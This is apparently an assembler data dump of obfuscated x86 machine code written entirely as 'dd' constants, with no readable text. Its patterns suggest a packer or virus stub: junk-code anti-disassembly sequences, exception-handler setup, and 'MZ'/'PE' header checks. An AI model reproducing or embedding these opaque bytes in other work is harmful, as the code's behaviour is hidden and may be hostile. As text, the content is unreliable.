		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 10C35545h
		dd 6E8A9h, 523C0000h, 2D8C4B47h, 1BC5BD8Bh, 835F062Ah
		dd 2A3415BDh, 850F0106h, 0C2h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 7DC35545h, 0AB4B3B7h, 6A76CB6Ah
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 23FC568Dh, 11E913h, 60F30000h, 0FF689B12h
		dd 0FE6CCBF8h, 237DC36Ch, 89095CE2h, 2A0B519Dh,	0BF669006h
		dd 0E950FF47h, 14h, 8A31DF0Bh, 0F0437034h, 0DE5D28EAh
		dd 0F14F7327h, 7936542Ch, 12E990h, 3E900000h, 8C019A62h
		dd 716FF863h, 0FED7F782h, 596A70A5h, 135D95FFh,	6A062Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 666CB2C3h, 667AC381h, 0A4E9FE8Ah, 0E800000Dh, 0
		dd 24ED815Dh, 0B7062F53h, 0EF815048h, 3B5C2858h, 0C4858D5Bh
		dd 6A062D96h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0A29BC355h, 8B7DA5BDh,	2A1971BDh
		dd 7E806h, 535B0000h, 0ADEC1EF7h, 0EDBF66B9h, 89505FD9h
		dd 7E92404h, 5B000000h,	0EC1EF753h, 0FF64B9ADh,	35h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E8D8E669h, 0Bh, 0E29622F3h,	0EDBA55D1h, 53F3213Fh
		dd 9D0B5F5Fh, 62A0B2Dh,	258964h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0DA2DC353h
		dd 33559D8Bh, 85FF062Ah, 62A14C1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 38C35242h, 722BE86Eh, 0BFBA805Fh
		dd 6AFD15F5h, 0FB99D8Bh, 0FF6A062Ah, 3DC9C781h,	14E9215Ah
		dd 3F000000h, 0B49C66C3h, 0D8B6A48Dh, 3EA6CCFDh, 179C7738h
		dd 0FF829ED7h, 2A2089B5h, 0B2BB6606h, 8D95FFDCh, 0E9062A23h
		dd 11Eh, 114DC781h, 0B06CFCh, 95F78166h, 518D8921h, 0E6062A2Ch
		dd 818D8970h, 29062A03h, 2A33B985h, 6671E406h, 3C85A3BFh
		dd 0EF830F61h, 0E8000000h, 0Bh,	4BBD0001h, 0C73A4DA2h
		dd 8B8E0D11h, 2A12219Dh, 0B60F5B06h, 2ED781C8h,	0BA0C28D7h
		dd 6, 11CDBD8Bh, 0C18B062Ah, 0F804E8C1h, 0E9E2F766h, 6
		dd 9FB2FA50h, 8D01B539h, 62A0CF1h, 0D18BC82Bh, 0A0E9F8h
		dd 0CE90000h, 7F000000h, 52800720h, 0D5784BC3h,	8B1994DCh
		dd 47554C85h, 25BF6649h, 7C08303h, 0B99D8960h, 60062A16h
		dd 57AFBF66h, 6161D38Ah, 8B00C083h, 2A0509BDh, 0FD03B06h
		dd 1683h, 9880F00h, 0F000000h, 38Ch, 0FA8B6600h, 4DE9h
		dd 8B20B700h, 0FFFFFF8Dh, 7E9FFh, 0D64F0000h, 0FA3D731Dh
		dd 2820F1Dh, 8B000000h,	1E183FAh, 28840Fh, 9D290000h, 62A32F5h
		dd 0FFFFA583h, 0FFEFFFFh, 68Eh,	5858900h, 89062A0Eh, 47554C95h
		dd 0C2BB6649h, 0E92Ch, 0B58D0000h, 62ECC16h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7BC35242h, 1D8B0F86h
		dd 0F000000h, 178Bh, 12E900h, 7D7E0000h, 0A67EC4F0h, 0CAB14C88h
		dd 58DE942Bh, 491DA462h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 8452F3C3h, 343995FFh
		dd 6A062Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0AA2345C3h, 0CE882h, 4DF50000h, 0A4E0ECC3h
		dd 0F389441Bh, 5FF925BFh, 1067B9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 49BD9E78h
		dd 5D8D8941h, 83062A26h, 0BB66FCE1h, 6AFCE218h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0A29FC351h, 7D08E659h, 0ABF9B3EAh, 1B559D33h, 0B8062Ah
		dd 0F000000h, 0BAFEB7h,	31000000h, 2A0ED5B5h, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 0BE9F4h, 0CFDC0000h, 24544A9Eh
		dd 92B8816Ch, 880D72h, 0BF660000h, 958B794Bh, 62A3395h
		dd 60D78166h, 0F98D8B3Ch, 6A062A0Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0BF32C351h
		dd 80B9372Ah, 9D8BE8EBh, 62A23A1h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9D890AC3h, 62A1F8Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 7CC35545h
		dd 0FABF0F13h, 0FA5BD83h, 0F00062Ah, 6484h, 68F0F00h, 31000000h
		dd 2A2DB9B5h, 0B806h, 8D8D0000h, 62A4E97h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D1C35646h, 0F936D48Ah
		dd 0CB608250h, 0D9BD8974h, 0FF062A1Fh, 52006AE1h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 53D318D6h, 0C5BD832Fh, 62A06h, 448840Fh, 0BD830000h
		dd 62A06C5h, 56840F01h,	89000004h, 2A23658Dh, 0C5BD8306h
		dd 3062A06h, 40D860Fh, 0F7810000h, 6400CE4Eh, 11E9h, 1B7B1E00h
		dd 0CA63D6EDh, 0E01F3AB5h, 29921951h, 6A600E84h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 6DBEC353h, 0D98C660Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 80C35141h, 3A3F2007h,	7A1EDDD1h, 6A04E180h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 1433C356h, 840FC90Ah, 143h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 2CC35040h, 6840Fh
		dd 0BD8B0000h, 62A1B75h, 2939858Bh, 6A062Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0CE5304C3h
		dd 5F98533h, 6A062Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 10D82C3h, 0B504F03Dh, 0FD76BD4h
		dd 0B8Dh, 5840F00h, 0BB000000h,	3C474FD7h, 0DB816651h
		dd 905FF324h, 5050D88Bh, 0FF98B52h, 90585A31h, 0BD8B006Ah
		dd 62A0FB1h, 0FE9h, 16B0B000h, 0C9482112h, 954DDFB7h, 0EF9CEFB6h
		dd 64206A68h, 81DF8B8Bh, 0E3952404h, 0DF8B74BAh, 1B05BD8Bh
		dd 95FF062Ah, 62A2B81h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0F4C35141h, 0A818F5C8h, 0BE8B84Dh, 36000000h
		dd 60AFD96Bh, 966D323Eh, 8166537Bh, 5FAF7DDFh, 0B9BE8589h
		dd 850F062Dh, 3, 0E95BFC52h, 210h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 4AC35646h, 0BC858123h, 8BE5C691h
		dd 2DB9B685h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 5748EFA2h, 85E7DA3Bh, 14C59D89h
		dd 0C7062Ah, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	75C35747h, 18BA9E7Fh, 8C91A267h, 0EEF8166h, 5DBD8B40h
		dd 8B062A03h, 2DB9BAB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0B9D7381Eh, 25150DEEh
		dd 858BDCB7h, 62A04DDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 74C35141h, 0C820FD0h,	0F000000h, 689h
		dd 0C59D8B00h, 89062A10h, 8BF98A06h, 2A293985h,	0E8505306h
		dd 8, 0AAE2990Fh, 0A9FAE14Bh, 895F5B5Fh, 6A0446h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0CF5E93C3h, 0BE071E60h, 898D89FEh, 50062A28h, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0A1B2C356h, 0B3BA60BAh, 8B607F5Dh, 2A10C585h
		dd 0B5FF6106h, 62DB9B6h, 0D781FC8Ah, 2BF3D9EDh,	4E8h, 1F03FF00h
		dd 2DBF6600h, 448B5055h, 860F0424h, 5, 0D88B6652h, 89008B5Bh
		dd 0BB042444h, 1ADE1715h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0BF692764h, 0BF66D11Bh, 858D08F8h
		dd 62DB9BEh, 21D59D23h,	8950062Ah, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 850F7AC3h
		dd 1, 8195FFFCh, 6A062A2Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 1F58C350h, 0C7FB8B61h
		dd 2A06C585h, 306h, 6880F00h, 81000000h, 0CA5CF7EBh, 0BEBD833Ah
		dd 62DB9h, 2D840Fh, 0BB660000h,	3FE9D529h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 71D3C356h, 299D233Eh, 50062A07h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 2EB2BC3h
		dd 9D8951EBh, 62A0CA5h,	2915B75Fh, 2A15A585h, 0C5BD8306h
		dd 3062A06h, 446850Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 1963BBC3h, 0E89F3C2Ch
		dd 11h,	0F53FA171h, 0BF08E885h,	0AE789A0h, 0B18D1B5Bh
		dd 950951B9h, 62A3215h,	0BD835F5Bh, 62DB9BEh, 0F9840F00h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0F299C351h, 8D89D984h,	62A26A9h
		dd 0B9BEB5FFh, 6A062Dh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FF7CCDC3h, 2A164D95h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0B391DC40h, 0B2B58B1Bh, 6A062DB9h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 126CC352h
		dd 0FFCB8166h, 4DBF664Bh, 106C799h, 31000100h, 2A0E2D95h
		dd 50509606h, 0FDE8B52h, 3890F31h, 66000000h, 585AD88Bh
		dd 51006A96h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 3F25E4Ch, 0F5B72F9Dh, 9B215FBFh,	0BEB5FF16h
		dd 6A062DB9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 800FC356h, 0BD03C7EFh,	62A2981h
		dd 1A3995FFh, 0BB66062Ah, 0B58B59CDh, 62DB9B2h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FDC35242h, 2CE1C5E5h
		dd 37D381E4h, 8B23753Fh, 2A12E985h, 10E906h, 42650000h
		dd 2E42EFFCh, 96952D5Ah, 57558C73h, 8689CEBEh, 0C4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DFC35141h, 378D19A2h
		dd 7EF78166h, 95958B31h, 0E9062A33h, 13h, 0C86F19A4h, 73FD89E6h
		dd 9C5ECE1Dh, 9899854Ch, 837D702Eh, 0C38104C2h,	4E2FF3A9h
		dd 81205089h, 0E14EAFD7h, 2C858D5Ch, 0BB062DCCh, 5F5C9A08h
		dd 0B88689h, 13E90000h,	0DE000000h, 0B88C6892h,	7EE41C77h
		dd 686D84C6h, 0C92AD151h, 6A1BC1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0D7C35545h,	0BD8BDE8Bh, 62A0F39h
		dd 0B9BEB5FFh, 7E8062Dh, 61000000h, 661343C1h, 0BD8BCB6Ch
		dd 62A23B9h, 5D95FF5Fh,	89062A13h, 2A111595h, 0BE806h
		dd 0D0150000h, 77219BD1h, 0DAA33F5Fh, 5E93Fh, 82E30000h
		dd 5BAAA401h, 0FE8B6650h, 6A243489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A8D7C350h
		dd 0BCDC7DF2h, 23D8B1Eh, 0AE9h,	0BC446000h, 0F4C1B826h
		dd 662808CBh, 0B5FFFA8Bh, 62DB9BEh, 95FFDF8Bh, 62A2609h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C3C35545h
		dd 8908325Bh, 0BD83B69Fh, 62A1F61h, 65840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 95A0C357h, 8608892Bh, 0BB50DE8Bh,	7419A35Bh
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0F5E3C357h, 11E8FE41h,	63000000h
		dd 0E30EEEA8h, 151D1870h, 2F21E3F5h, 37E2B44Bh,	5F32F380h
		dd 0B9BEB5FFh, 6A062Dh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0C35E3FC3h, 95FFC177h, 62A1A29h
		dd 2CB1BD8Bh, 0B5FF062Ah, 62DB9BEh, 6860Fh, 0BD890000h
		dd 62A1729h, 0EC595FFh,	8589062Ah, 62A052Dh, 0BD83D88Bh
		dd 62A1F7Dh, 4C840F02h,	0E8000000h, 5, 2A0FEE0Bh, 3860F67h
		dd 66000000h, 8B5FDA8Bh, 2A0F5985h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8D8972EDh
		dd 62A14B9h, 330000C6h,	2A20159Dh, 159D0B06h, 0C7062A00h
		dd 2A093585h, 6, 11E900h, 0B29D0000h, 0DEAD7B38h, 33337277h
		dd 0EF773182h, 0BBD9C197h, 4207C8EEh, 0FFF365E9h, 0C38166FFh
		dd 0C18B783Ch, 0BADEBF0Fh, 0F00E1000h, 0EA81h, 0C283F000h
		dd 0A5958914h, 83062A27h, 858D14EAh, 62F6169h, 35FF6450h
		dd 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 6D8589C8h, 3062A22h,	0B70F3C40h, 95890650h, 62A14F1h
		dd 8950508Bh, 2A28F995h, 0F80506h, 508B0000h, 89D1030Ch
		dd 2A0E9595h, 8500306h,	0A5D9589h, 8F64062Ah, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 3245BD83h, 0F00062Ah, 2484h,	0C985C600h, 47062A27h
		dd 9AA7D268h, 0C9B5FFD4h, 8D062A22h, 2D81A985h,	6AD0FF06h
		dd 89D0FF00h, 2A0E2585h, 0E8D38B06h, 9,	6B80B6BCh, 84DEA8B3h
		dd 331EBE45h, 0BE5A3988h, 3505393Ah, 69E5C281h,	0BE90000h
		dd 0EB000000h, 8AF75F3Fh, 400AEA1Ah, 0FF33DD94h, 0A820Fh
		dd 830F0000h, 4, 65F0BE66h, 0E83A1C8Bh,	0Bh, 4A013053h
		dd 30EE524Dh, 0BE64BA92h, 6F08EDB2h, 0C0EB8159h, 0F58A112h
		dd 18Ch, 0F381F800h, 1A80F089h,	53F08166h, 0C7C38121h
		dd 665C1CF3h, 8965A6B9h, 8B0F3A1Ch, 6, 0D3B6D881h, 0C08147D4h
		dd 2A586A31h, 0A94FEF81h, 8B665C0Fh, 4BC781F2h,	665C0FA9h
		dd 0FF81F78Bh, 0FFFF9718h, 34850Fh, 810F0000h, 20h, 0EE8h
		dd 5768C300h, 0C75B165Bh, 98977028h, 0E9C63E0Ch, 7, 0C7B63D17h
		dd 58AA8B9Dh, 2CE9h, 6DE6E400h,	0B09C02C2h, 0AE81BE2h
		dd 52000000h, 4EE7CD66h, 3C17CB31h, 0B70F60D8h,	61B9B1DBh
		dd 0FF42E959h, 0F3C8FFFFh, 5D1B24Ch, 17E91Bh, 45DA0000h
		dd 1562h, 4 dup(0)
		dd 51AE900h, 87610000h,	7E833BD5h, 659E56F0h, 4BBB730Dh
		dd 29DB932Dh, 0BD5B14Bh, 5DF77D87h, 7C1660A5h, 9D3723C4h
		dd 0B9531DE5h, 70C5BAD3h, 47289EDFh, 8856E2B2h,	0F620267Eh
		dd 23E4D871h, 25DD1B12h, 0FB09614Bh, 50E5CA79h,	3500F53Ah
		dd 8A226FB3h, 0B0A83A1Fh, 2CE4EEE5h, 58B09AD6h,	84DCC6AAh
		dd 7442F17Dh, 96F0E773h, 0BE1D476h, 0FCCA79F7h,	0E6816B07h
		dd 0BA2DE5EFh, 994E06A0h, 0C04412C1h, 0B63BDB4h, 0E927CFAh
		dd 0BC2B01F4h, 0B64C049Eh, 0E951D0BAh, 0E522703Ch, 0F56CD9BEh
		dd 0C4B24DCBh, 703B66CFh, 0DDEE5922h, 0E7D3C6E6h, 0D2E7CBE3h
		dd 7FF111DFh, 0F203FA95h, 7Fh, 7988562Ah, 53B30BF5h, 8FA03B25h
		dd 0BA85A98h, 0D8CD7CFAh, 226F7D5Dh, 0FCE6F762h, 6F7CBE7Dh
		dd 0F5E81022h, 0E70DC109h, 10FD2h, 56470000h, 0FFF67A88h
		dd 442E40C1h, 6F5915ECh, 0D99D6836h, 0ABB080EFh, 7676CD95h
		dd 0D6306E65h, 6A9B02E5h, 7611FB0Ch, 0B95B7B65h, 5D11F0C6h
		dd 0A55C2AC3h, 453AE4C9h, 0B8558713h, 0F17F83C1h, 49D9BE57h
		dd 46EFE471h, 7922707Ch, 7CCB290Eh, 3791E9E0h, 65BDA7CDh
		dd 5AE8D29Ch, 7D875D50h, 5DA55DF7h, 32D12913h, 0CBFB5640h
		dd 7EEECD8h, 7802D2E7h,	73000000h, 7366CFC4h, 0EE59226Fh
		dd 0A669B109h, 867D18E8h, 0EACD372Eh, 0B9AE5DFDh, 226F7D7Ch
		dd 0DDC7D843h, 0AF47E85h, 9E5548EAh, 90E221EFh,	6F7D9A9Bh
		dd 0BBB21D22h, 53ED877Dh, 210B699Bh, 513B3DC9h,	7D6709F9h
		dd 0C795DF25h, 0E9877B3Eh, 695364FFh, 0A7C0B33Dh, 0C7B3A6D6h
		dd 0D2E70813h, 2DDDh, 0CD371500h, 0B684BDA7h, 0EF2D244Ch
		dd 2D7862F8h, 30D4AA9Dh, 37D8AA44h, 3BBAA4CAh, 226F7CFFh
		dd 0C8B4A7CFh, 0D2E70E02h, 1CEh, 0CC370600h, 0D829F7A6h
		dd 0AF54AC96h, 61BBB2C3h, 0C7A75A28h, 7092D0h, 35808351h
		dd 0A892A3CDh, 38BC160Dh, 586A3A1Fh, 68594F4Fh,	0A75E5171h
		dd 4F4628D9h, 0E680F211h, 0E998E136h, 990A553Ah, 81B1A5E5h
		dd 6D08F284h, 4A00655Ch, 0F7244615h, 0B84AA28Ch, 9C661EB8h
		dd 0E3B1EAD4h, 0F459501Eh, 289A1347h, 341E5AACh, 634D29DCh
		dd 0BFD8CBD5h, 0C47B6EFEh, 6F660EF6h, 3301D131h, 1EB9A3D1h
		dd 9A130C29h, 3748B328h, 531DE59Dh, 7FF11169h, 19FE0795h
		dd 0C122C255h, 8CE21F4Eh, 0FFF607A2h, 0EC16ECDFh, 503A20C7h
		dd 10F5A4B5h, 0E96C5CF9h, 71108D2h, 11AA9139h, 8D8231D9h
		dd 289A0EA8h, 9CADA40Fh, 110h, 0ACC23F0Dh, 0EA3F5DB5h
		dd 0EDFDF2A1h, 0B2244559h, 0FD055D47h, 0E121D973h, 9E6CA58Fh
		dd 0D8160D65h, 0CE5C462Ah, 351AD1C4h, 1C474EBh,	5220E3A7h
		dd 0C5BCCD68h, 5BF57B87h, 11D73D8Dh, 4F93D9h, 3FCB0000h
		dd 0F9EE9DE6h, 5D9083DCh, 0DA8938A3h, 6F7C50E5h, 0C53F67A2h
		dd 192AC5AFh, 0C18FC822h, 0D63B3244h, 0A26F7C5Fh, 1C067294h
		dd 48323EC4h, 7A938628h, 81814FD8h, 92E421EFh, 0BA887B9Bh
		dd 74691861h, 0DD908261h, 6511AB16h, 80h, 0A1EA3FA3h, 73A5FDF2h
		dd 6F3D2445h, 92DE2497h, 12FC0DA8h, 402A4ABAh, 2B9D94A5h
		dd 8C082D22h, 44AF2899h, 11F14933h, 0F50DC55Fh,	0AE12917Bh
		dd 0B028998Bh, 0AB572D20h, 0AD922BC5h, 0DAB10BEEh, 0AC4DCDE2h
		dd 0FF978166h, 4297CDC4h, 2E554AF9h, 712A6A8Eh,	3EC41C06h
		dd 0AAC44832h, 4B94E9B7h, 30DCA79Ch, 2C972445h,	7F8C987Dh
		dd 571194E9h, 0EFBD5660h, 0BAAF5E14h, 2899DA7Bh, 82DAD13Ch
		dd 0F2A1EA3Fh, 401E86FDh, 786D1C24h, 289EDEBDh,	2EA09702h
		dd 8181D9C3h, 9C9140EFh, 289EDF99h, 0B2BCB31Eh,	7E6808FAh
		dd 51B3B9FFh, 0E1D47637h, 0CA79F70Bh, 0CC0F261Bh, 45B037D1h
		dd 768C444Eh, 28D710FAh, 0D1CC0233h, 22130837h,	9537D1CCh
		dd 0C6BD282Ah, 92267E88h, 0D511FFD9h, 1782B3A8h, 0CA3537D2h
		dd 3ABEA8B9h, 0AB572D20h, 8F732BC5h, 0DB2B840Dh, 0F8092FC6h
		dd 1F2D6449h, 0F7AA6220h, 0C5AA600h, 98000000h,	0FC2A0F2Eh
		dd 5C3FDD9Dh, 3785DDD4h, 69C1ABB1h, 95EDD799h, 0C61E0852h
		dd 0F54D373Fh, 237B650Fh, 51A993E1h, 81D9C3B5h,	0AE06F082h
		dd 16311B53h, 53E78957h, 1E2554BBh, 5E3C157h, 2	dup(4305EBC1h)
		dd 0F12FF381h, 0DF010038h, 4EF835Bh, 5C243C87h,	36BB68h
		dd 242C8900h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 0EC81240Ch, 4, 0BE243489h, 62F62D6h,	545EF589h, 83240C8Bh
		dd 0EC8104C4h, 4, 89241489h, 85189EAh, 240C8B5Ah, 81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 53242C8Bh, 0C381E389h, 4
		dd 8704C383h, 0E95C241Ch, 0FFFB1646h, 0DDB4EC57h, 0A0668F43h
		dd 8080E576h, 2F6750B8h, 0FFC50306h, 0C69A37E0h, 5495EB63h
		dd 25C4DE56h, 4AF6E547h, 5570B827h, 0B2D7B623h,	0A70F9418h
		dd 0D24E3B17h, 0CC6B612Ch, 0CB44F865h, 6F6C4D54h, 0A4888809h
		dd 6A6CBD69h, 77D3831Dh, 1AE50764h, 98E30D37h, 5BF4B46Bh
		dd 56A97C1Ah, 0F83AE2Dh, 0B320A302h, 49793B0Ch,	0FC0C061Eh
		dd 0C6AA2157h, 3008F424h, 5FE6B37h, 2B8D8D5Bh, 6A062F69h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0BDEAC357h, 82D4E6BDh, 1A0AC4BCh,	33958D89h
		dd 0DB8062Ah, 66312D52h, 85C7F98Bh, 62A0BF9h, 5B84h, 244D858Bh
		dd 880F062Ah, 2, 85C7D88Bh, 62A06C5h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 41C35545h
		dd 81500EDDh, 8E0F90B4h, 1, 8D8D89FCh, 0FF062A0Fh, 2A2601B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 5231F78Ch, 490872EAh, 9D8951A6h,	62A0FC5h
		dd 5C195FFh, 8D89062Ah,	62A2681h, 95FF006Ah, 62A3439h
		dd 6DEBC08Bh, 509AAB8Ah, 9BC1493Dh, 24728E31h, 2ABD19B2h
		dd 195A324Dh, 44025A95h, 2E7C34D6h, 2247D36Ch, 94B4E5E2h
		dd 7EC397D1h, 175A382Bh, 621C75h, 0CB344314h, 487312C8h
		dd 0BA42C3FBh, 44A22034h, 0AB789176h, 0E54A2930h, 0B8BF506Ch
		dd 824FAEB0h, 6965B035h, 8C4520CDh, 566057E7h, 93286029h
		dd 5C26A84Bh, 18D7C1EDh, 1BBD501Ah, 648D8DDFh, 6A062F6Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 2E6DC356h, 590E0473h, 958D89BAh, 0E9062A33h
		dd 9, 9FBD6CE0h, 9757045Ah, 6BA1BA39h, 85C714D3h, 62A0BF9h
		dd 6738h, 1361BD8Bh, 85C7062Ah,	62A06C5h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0DCC35040h
		dd 0AAADBh, 840FF52Ch, 0Fh, 0AE9h, 2CECAF00h, 381060C1h
		dd 0FF92F649h, 2A174DB5h, 0D6B70F06h, 5C195FFh,	6A062Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 978032C3h, 0FF006AA8h, 2A343995h, 0EBC08B06h, 0D932F23Fh
		dd 0C20E5FC0h, 78DB1A25h, 6B2246C5h, 0DFD34495h, 4DA9BA09h
		dd 57E294AFh, 9EF62DF5h, 83E06193h, 82940FF8h, 316DAFFCh
		dd 4D569CA8h, 9BC5DA6h,	776CB2A9h, 0BFE04DC0h, 84256C08h
		dd 6BA38D8Dh, 6A062Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0F15CEAC3h, 0A9BAC343h, 0E82F90D9h
		dd 8, 9D5AFEB2h, 2100F520h, 2DD18589h, 895E062Ah, 2A33958Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0CB86D70Fh, 8B663E22h, 0A9852BD8h, 0C7062A21h
		dd 2A0BF985h, 5C3006h, 0C715B400h, 2A06C585h, 6, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 413F4D39h, 251DB5FFh, 6A062Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 78727AC3h, 0BD9D8992h
		dd 0FF062A14h, 2A05C195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0F08B6C22h
		dd 95FF006Ah, 62A3439h,	19EBC08Bh, 9E8818D5h, 22C15E4Dh
		dd 0A6B6FA8Ch, 0DA1897F0h, 6A72ACA6h, 3AD7E3C3h, 908D8D39h
		dd 6A062F6Ch, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 4B87C351h, 56C18A4Ch, 0BD8B8598h
		dd 62A27A9h, 33958D89h,	6A062Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 967997C3h, 80C0E7AFh
		dd 85C782CAh, 62A0BF9h,	6BDCh, 0C7F9B70Fh, 2A06C585h, 6
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 21AF0083h, 0FF95E0C3h, 2A13BDB5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0D29D2C68h, 8B19ADCCh, 2A003985h, 0C195FF06h, 0B2062A05h
		dd 0FF006A1Eh, 2A343995h, 0EBC08B06h, 7497EC7Fh, 0C0F6026h
		dd 7E97A667h, 0C58B8697h, 66048BB7h, 204A22DFh,	0C465ED18h
		dd 0D2AB825Dh, 0F433CD7Ah, 0ABA2F1ADh, 53FB3832h, 0CBF1F417h
		dd 4830A457h, 6D92D50Eh, 0B8ADEF6h, 44262098h, 12DCE2Ah
		dd 0E0AD7D5Dh, 5533BCDFh, 5428CBD4h, 0DD2FA3C2h, 693759Ch
